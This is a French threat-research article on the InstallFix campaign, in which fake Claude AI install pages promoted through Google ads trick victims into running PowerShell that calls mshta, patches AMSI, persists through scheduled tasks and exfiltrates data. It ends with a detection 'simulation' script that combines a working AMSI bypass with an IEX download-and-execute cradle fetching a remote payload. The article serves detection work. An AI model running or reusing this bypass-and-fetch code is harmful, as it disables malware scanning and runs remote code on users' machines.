SOC Prime Bias: Moyen

07 Mai 2026 18:38

InstallFix et Claude Code : Comment les fausses pages d’installation mènent à une véritable compromission

Author Photo
Ruslan Mikhalov Chef de la Recherche sur les Menaces chez SOC Prime linkedin icon Suivre
InstallFix et Claude Code : Comment les fausses pages d’installation mènent à une véritable compromission
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

La campagne InstallFix propage des logiciels malveillants via des publicités Google malveillantes qui imitent les pages d’installation de Claude AI. Les victimes sont persuadées d’exécuter des commandes PowerShell qui invoquent mshta.exe pour récupérer un fichier ZIP et HTA polyglotte, qui lance ensuite une chaîne d’infection en plusieurs étapes et sans fichiers. La charge utile désactive la validation SSL et les protections de l’AMSI, télécharge du code supplémentaire depuis un domaine de commande et de contrôle spécifique à la victime, et crée une persistance via des tâches planifiées. L’opération a ciblé des organisations de plusieurs industries et régions à travers le monde.

Investigation

Les chercheurs ont retracé le flux d’exécution complet depuis la fausse page d’installation jusqu’à mshta.exe, VBScript, et plusieurs couches de PowerShell encodé. La désobfuscation a montré que le logiciel malveillant générait un identifiant unique pour chaque victime et l’utilisait pour construire une URL de commande et de contrôle spécifique à l’hôte. La télémétrie réseau a révélé une communication sortante vers plusieurs domaines et adresses IP malveillants. Bien que la charge utile finale n’ait pas été entièrement récupérée, le comportement observé suggérait une activité de collecte et d’exfiltration de données.

Atténuation

Les défenseurs doivent bloquer l’accès aux domaines et adresses IP malveillants identifiés et restreindre l’utilisation de mshta.exe et d’autres outils de script hérités autant que possible. Les contrôles de sécurité des points de terminaison doivent être ajustés pour détecter les tentatives de contournement de l’AMSI et la falsification de la validation SSL. Les organisations doivent également appliquer un filtrage strict des URLs pour le trafic des annonces Google menant aux pages d’installation de logiciels. La sensibilisation des utilisateurs reste cruciale, en particulier concernant le risque d’exécuter des commandes copiées à partir de résultats de recherche sponsorisés ou de sources non vérifiées.

Réponse

Les équipes de sécurité doivent alerter sur les chaînes de processus dans lesquelles mshta.exe lance cmd.exe, powershell.exe, ou des interpréteurs de script avec des URLs distantes suspectes. Ces événements doivent être corrélés avec la création de tâches planifiées et les connexions sortantes vers l’infrastructure de commande et de contrôle connue. Si une activité est confirmée, les défenseurs doivent contenir l’hôte, terminer les processus malveillants, et supprimer tout mécanisme de persistance tel que les tâches planifiées. Un examen médico-légal doit ensuite être effectué pour identifier les composants résiduels de charge utile sans fichiers.

"graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#cccccc classDef process fill:#ffcc99 classDef malware fill:#ff9999 %% Nodes u2013 Actions recon_google_ads["<b>Action</b> – <b>T1593.002 Search Open Websites/Domains: Search Engines</b><br/><b>Description</b>: L’adversaire place des résultats sponsorisés malveillants sur Google pour attirer les victimes recherchant Claude AI."] class recon_google_ads action initial_access_phishing["<b>Action</b> – <b>T1566.002 Phishing: Spearphishing Link</b><br/><b>Description</b>: La victime clique sur une publicité malveillante et est redirigée vers une fausse page d’installation de Claude qui héberge une commande PowerShell."] class initial_access_phishing action user_exec_copy_paste["<b>Action</b> – <b>T1204.004 User Execution: Malicious Copy and Paste</b><br/><b>Description</b>: La victime copie la commande PowerShell affichée et l’exécute dans une console."] class user_exec_copy_paste action execution_mshta["<b>Action</b> – <b>T1218.005 System Binary Proxy Execution: Mshta</b><br/><b>Description</b>: PowerShell invoque mshta.exe avec une URL vers un ensemble polymorphe HTA/MSIX."] class execution_mshta action execution_htavbscript["<b>Action</b> – <b>T1027 Obfuscated Files or Information</b><br/><b>Description</b>: VBScript HTA s’exécute via mshta, utilise l’objet COM Shell.Application pour lancer cmd.exe."] class execution_htavbscript action execution_powershell_stager["<b>Action</b> – <b>T1140 Deobfuscate/Decode Files or Information</b><br/><b>Description</b>: Le téléchargeur PowerShell est encodé en base64, divisé en variables et décodé avec clé XOR “AMSI_RESULT_NOT_DETECTED”."] class execution_powershell_stager action defense_evasion_amsi["<b>Action</b> – <b>T1211 Exploitation for Defense Evasion</b><br/><b>Description</b>: Le script désactive la validation du certificat SSL et patche l’AMSI pour contourner la détection."] class defense_evasion_amsi action persistence_scheduled_task["<b>Action</b> – <b>T1053 Scheduled Task/Job</b><br/><b>Description</b>: Le malware crée une tâche planifiée pour relancer la charge utile après le redémarrage du système."] class persistence_scheduled_task action collection_automated["<b>Action</b> – <b>T1119 Automated Collection</b><br/><b>Description</b>: Collecte des données d’application eu2011wallet et des données de navigateur de l’hôte compromis."] class collection_automated action exfiltration_automated["<b>Action</b> – <b>T1020 Automated Exfiltration</b> & <b>T1029 Scheduled Transfer</b><br/><b>Description</b>: Les données collectées sont envoyées vers des domaines contrôlés par l’attaquant tels que https://oakenfjrod.ru et les IP 104.21.0.95, 185.177.239.255."] class exfiltration_automated action %% Nodes u2013 Tools / Processes tool_mshta["<b>Tool</b> – <b>Name</b>: mshta.exe<br/><b>Purpose</b>: Exécute des fichiers d’application HTML."] class tool_mshta tool tool_cmd["<b>Tool</b> – <b>Name</b>: cmd.exe<br/><b>Purpose</b>: Interpréteur de ligne de commande Windows."] class tool_cmd tool tool_powershell["<b>Tool</b> – <b>Name</b>: PowerShell<br/><b>Purpose</b>: Moteur de script utilisé pour la livraison et le décodage des charges utiles."] class tool_powershell tool tool_amsi_patch["<b>Tool</b> – <b>Name</b>: AMSI Patch<br/><b>Purpose</b>: Modifie l’interface de scan antimalware pour supprimer la détection."] class tool_amsi_patch tool tool_schtasks["<b>Tool</b> – <b>Name</b>: schtasks.exe<br/><b>Purpose</b>: Crée et gère des tâches planifiées."] class tool_schtasks tool %% Connections u2013 Flow recon_google_ads –>|leads_to| initial_access_phishing initial_access_phishing –>|leads_to| user_exec_copy_paste user_exec_copy_paste –>|executes| tool_powershell tool_powershell –>|calls| execution_mshta execution_mshta –>|uses| tool_mshta execution_mshta –>|downloads| execution_htavbscript execution_htavbscript –>|spawns| tool_cmd tool_cmd –>|runs| execution_powershell_stager execution_powershell_stager –>|uses| tool_powershell execution_powershell_stager –>|applies| defense_evasion_amsi defense_evasion_amsi –>|uses| tool_amsi_patch defense_evasion_amsi –>|creates| persistence_scheduled_task persistence_scheduled_task –>|uses| tool_schtasks persistence_scheduled_task –>|enables| collection_automated collection_automated –>|triggers| exfiltration_automated "

Flux d’attaque

Exécution de simulation

Prérequis : La vérification pré-vol du Télémetrie & Baseline doit avoir réussi.

Raisonnement : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTP identifiés et viser à générer exactement la télémétrie attendue par la logique de détection. Des exemples abstraits ou non liés entraîneront un mauvais diagnostic.

  • Narrative et Commandes d’Attaque :
    L’attaquant obtient un script PowerShell malveillant via un lien de spear-phishing (T1566.002) qui télécharge une charge utile depuis un serveur compromis. Pour éviter la détection de l’AMSI, le script injecte la chaîne AMSI_RESULT_NOT_DETECTED dans la mémoire du processus, puis utilise l’ IEX opérateur pour exécuter le code téléchargé. La commande complète est encodée en Base64 et lancée avec le -EncodedCommand flag, satisfaisant les trois chaînes de sélection de la règle Sigma.

    Étape par étape :

    1. Télécharger la charge utile malveillante (un one-liner PowerShell simple qui écrit un fichier).
    2. Injecter le marqueur de contournement AMSI en définissant le champ statique privé amsiInitFailed.
    3. Exécuter la charge utile via IEX.
    4. Lancer toute la chaîne en utilisant powershell.exe -EncodedCommand ….
  • Script de Test de Régression :

    # Simulation d'attaque de type PowerShell InstallFix
    # -------------------------------------------------
    # 1. Définir le one-liner malveillant
    $malicious = @"
    `$bypass = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
                .GetField('amsiInitFailed','NonPublic,Static')
    `$bypass.SetValue(`$null,$true)
    IEX (New-Object Net.WebClient).DownloadString('http://example.com/payload.ps1')
    "@
    
    # 2. Encoder le script en UTF‑16LE puis Base64 (exigence de PowerShell)
    $bytes = [System.Text.Encoding]::Unicode.GetBytes($malicious)
    $encoded = [Convert]::ToBase64String($bytes)
    
    # 3. Exécuter via powershell.exe avec le flag -EncodedCommand
    $command = "powershell.exe -NoProfile -EncodedCommand $encoded"
    Write-Host "Lancement de PowerShell malveillant..."
    Invoke-Expression $command
  • Commandes de Nettoyage :

    # Supprimez tous les fichiers temporaires et terminez les processus persistants
    Get-Process -Name powershell -ErrorAction SilentlyContinue | Stop-Process -Force
    Remove-Item -Path "$env:TEMPpayload.ps1" -ErrorAction SilentlyContinue
    Write-Host "Nettoyage terminé."